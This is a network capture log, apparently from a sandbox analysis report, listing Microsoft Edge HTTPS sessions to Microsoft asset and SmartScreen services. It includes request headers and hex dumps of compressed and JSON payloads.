2024-11-21 18:58:48 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49790	13.107.246.63	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:46 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-21 18:58:47 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:47 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 21 Nov 2024 04:18:43 GMT ETag: 0x8DD09E3961B864F x-ms-request-id: db2b604a-301e-0046-1047-3cb691000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241121T185846Z-178bfbc474bv7whqhC1NYC1fg400000001ug00000000rer9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-21 18:58:47 UTC	15821	IN	Data Raw: 1f 8b 08 08 a3 b4 3e 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: >gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-21 18:58:47 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-21 18:58:47 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-21 18:58:47 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-21 18:58:47 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49793	20.25.227.174	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:47 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiOFR5R1IvV09UR2JkUlRqVUZDdytWZz09IiwgImhhc2giOiJIbVFiZHBSL0xvST0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-21 18:58:47 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-21 18:58:47 UTC	248	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:47 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-21 18:58:47 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49794	20.25.227.174	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 18:58:47 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiYWRCTy9mL29vWTF0THdxcjZkWTM5dz09IiwgImhhc2giOiJSdHFhb2NnTjhDZz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-21 18:58:47 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-21 18:58:47 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:47 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-21 18:58:47 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-21 18:58:48 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-21 18:58:48 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49776	18.165.220.57	443	5308	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
